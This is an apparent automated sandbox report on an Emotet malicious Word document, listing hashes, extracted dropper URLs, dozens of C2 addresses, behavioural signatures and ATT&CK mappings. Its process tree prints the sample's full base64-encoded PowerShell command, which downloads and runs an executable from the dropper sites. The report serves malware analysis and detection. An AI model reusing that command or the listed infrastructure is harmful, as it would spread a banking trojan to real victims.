emotet | cb74c86e281815bd031833fac7831af265ae2ef1159b6c15f867fa1393106c4a

General

Target
emotet_e3_cb74c86e281815bd031833fac7831af265ae2ef1159b6c15f867fa1393106c4a_2020-08-19__150618._doc.doc
Size 199KB
Sample200819-bpbxcttgnn
SHA256 cb74c86e281815bd031833fac7831af265ae2ef1159b6c15f867fa1393106c4a
MD5 c58defcc4490f9a4f0c4e8a70e7e234e
SHA1 be36c6a5cd2dccbcac90958a688ab9ab32db295e
SHA512 a12a0d6166fc6e03d36865b973f53be9711573062371e65183314b2a7a9da6b6033a51652dd0f241d3cbff1defa87f91f0eba41c477524e911ab15998cfc67b6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://givingthanksdaily.com/cgi-bin/UUZ/
exe.dropper
http://taliedaran.ir/wp-admin/xoflMkAX/
exe.dropper
https://ceramicaburguina.com.br/Backup_Sistemas/VJFrtw/
exe.dropper
http://bercpro.be/cgi-bin/TMFfK/
exe.dropper
https://www.iqos-heets.com/wp-content/uploads/kOgjl/
exe.dropper
https://technilab.nl/wp-content/zSv/
exe.dropper
https://andmak.pl/strona/DczUjFV/

Extracted

Family

emotet

C2

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4004	996	powersheLL.exe	66

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3644-15-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3644-15-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3936-18-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/3936-18-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/3644-20-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
16	4004	powersheLL.exe
18	4004	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3644	Us6tez.exe
3936	scrobj.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WofUtil\scrobj.exe	Us6tez.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3456	3644	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4004	powersheLL.exe
4004	powersheLL.exe
4004	powersheLL.exe
3936	scrobj.exe
3936	scrobj.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3456	WerFault.exe
3936	scrobj.exe
3936	scrobj.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4004	powersheLL.exe
Token: SeRestorePrivilege	3456	WerFault.exe
Token: SeBackupPrivilege	3456	WerFault.exe
Token: SeDebugPrivilege	3456	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3644	Us6tez.exe
3644	Us6tez.exe
3936	scrobj.exe
3936	scrobj.exe
3228	WINWORD.EXE
3228	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4004 wrote to memory of 3644	4004	powersheLL.exe	75
PID 4004 wrote to memory of 3644	4004	powersheLL.exe	75
PID 4004 wrote to memory of 3644	4004	powersheLL.exe	75
PID 3644 wrote to memory of 3936	3644	Us6tez.exe	78
PID 3644 wrote to memory of 3936	3644	Us6tez.exe	78
PID 3644 wrote to memory of 3936	3644	Us6tez.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_cb74c86e281815bd031833fac7831af265ae2ef1159b6c15f867fa1393106c4a_2020-08-19__150618._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAF8AMQBsAHcAOABmAD0AKAAnAEkANQAwACcAKwAnADgANAAnACsAJwBwADAAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwAbwBmAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAdQByAEkAVABZAFAAYABSAG8AYABUAG8AYwBgAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApADsAJABUAHUAMAA0AGgAeABpACAAPQAgACgAJwBVAHMAJwArACcANgB0AGUAegAnACkAOwAkAEoAbgA2AGsAMwBpAHMAPQAoACcAQwB2ACcAKwAnADkAbAAnACsAJwAxAHMAdAAnACkAOwAkAEMAcgA1AGoAdQBnAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAFoAbgBnAE8AZgBmAGkAYwAnACsAJwBlADIAMAAnACsAJwAxADkAWgBuAGcAJwApACAALQBjAFIARQBQAGwAYQBjAEUAJwBaAG4AZwAnACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFQAdQAwADQAaAB4AGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEUAbQB3ADkAMgBoAG0APQAoACcASQB3ADQAJwArACcAYQB6ADMAegAnACkAOwAkAEoAdwA3ADkAYQA5ADkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBMAGkARQBOAHQAOwAkAE4AdwA4AGIAbABnAGwAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnAGkAdgBpAG4AZwB0ACcAKwAnAGgAJwArACcAYQBuAGsAcwBkAGEAaQAnACsAJwBsAHkALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpAG4AJwArACcALwAnACsAJwBVAFUAWgAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwB0AGEAbABpACcAKwAnAGUAZABhAHIAYQAnACsAJwBuAC4AaQByAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AeAAnACsAJwBvAGYAbABNAGsAQQBYACcAKwAnAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AJwArACcAYwBlAHIAYQBtAGkAYwBhACcAKwAnAGIAdQByAGcAdQAnACsAJwBpAG4AYQAuACcAKwAnAGMAbwBtACcAKwAnAC4AYgByACcAKwAnAC8AQgBhACcAKwAnAGMAawB1AHAAXwBTAGkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQBhACcAKwAnAHMAJwArACcALwAnACsAJwBWAEoARgByAHQAdwAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAC8ALwBiACcAKwAnAGUAcgBjAHAAcgBvAC4AJwArACcAYgAnACsAJwBlAC8AYwBnACcAKwAnAGkALQAnACsAJwBiAGkAbgAvAFQATQAnACsAJwBGACcAKwAnAGYASwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAHcAdwB3AC4AaQBxACcAKwAnAG8AcwAtAGgAJwArACcAZQBlAHQAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwArACcAdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBrAE8AJwArACcAZwBqAGwALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGUAYwBoAG4AaQBsAGEAJwArACcAYgAuAG4AbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFMAdgAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAGEAbgAnACsAJwBkAG0AJwArACcAYQBrAC4AcABsACcAKwAnAC8AcwAnACsAJwB0AHIAbwBuAGEALwBEAGMAJwArACcAegBVAGoARgBWAC8AJwApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAXwBuADkAMwB3AG8APQAoACcAVQAnACsAJwBiACcAKwAnADcAbQA3AGUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTADQAeQBiAHoAaQA1ACAAaQBuACAAJABOAHcAOABiAGwAZwBsACkAewB0AHIAeQB7ACQASgB3ADcAOQBhADkAOQAuACIAZABvAFcAbgBMAGAAbwBBAGQAZgBgAGkAbABFACIAKAAkAFMANAB5AGIAegBpADUALAAgACQAQwByADUAagB1AGcAaQApADsAJABHADMAegBoAHMAMgBqAD0AKAAnAEIAdgAwAGcAcQAnACsAJwBzAGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAEMAcgA1AGoAdQBnAGkAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAyADYAMQA3ADYAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAQwByADUAagB1AGcAaQApADsAJABIAGoAMQBmAHYAXwB1AD0AKAAnAFEAZQAxAG0AYQAnACsAJwBuAGgAJwApADsAYgByAGUAYQBrADsAJABEADMAOQBkAHMAZgBsAD0AKAAnAEYANwAnACsAJwBnAHkAaQB0ACcAKwAnAGwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEAdgA2AHQAcwB5AD0AKAAnAEQAagA2AHcAJwArACcAdQA0ACcAKwAnAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\SysWOW64\WofUtil\scrobj.exe
    "C:\Windows\SysWOW64\WofUtil\scrobj.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3936
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 292
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3228-3-0x00000258BDFCD000-0x00000258BDFDE000-memory.dmp

Download

memory/3228-4-0x00000258B6284000-0x00000258B628D000-memory.dmp

Download

memory/3228-5-0x00000258B6284000-0x00000258B628D000-memory.dmp

Download

memory/3228-6-0x00000258B6284000-0x00000258B628D000-memory.dmp

Download

memory/3228-7-0x00000258B6284000-0x00000258B628D000-memory.dmp

Download

memory/3228-0-0x00007FF9F0680000-0x00007FF9F0D46000-memory.dmp

Download

memory/3456-21-0x0000000004D30000-0x0000000004D31000-memory.dmp

Download

memory/3456-19-0x0000000004600000-0x0000000004601000-memory.dmp

Download

memory/3644-15-0x0000000000600000-0x000000000060C000-memory.dmp

Download

memory/3936-18-0x00000000022B0000-0x00000000022BC000-memory.dmp

Download

memory/4004-11-0x00000206625B0000-0x00000206625B1000-memory.dmp

Download

memory/4004-10-0x000002064A100000-0x000002064A101000-memory.dmp

Download

memory/4004-9-0x00007FF9E8840000-0x00007FF9E922C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads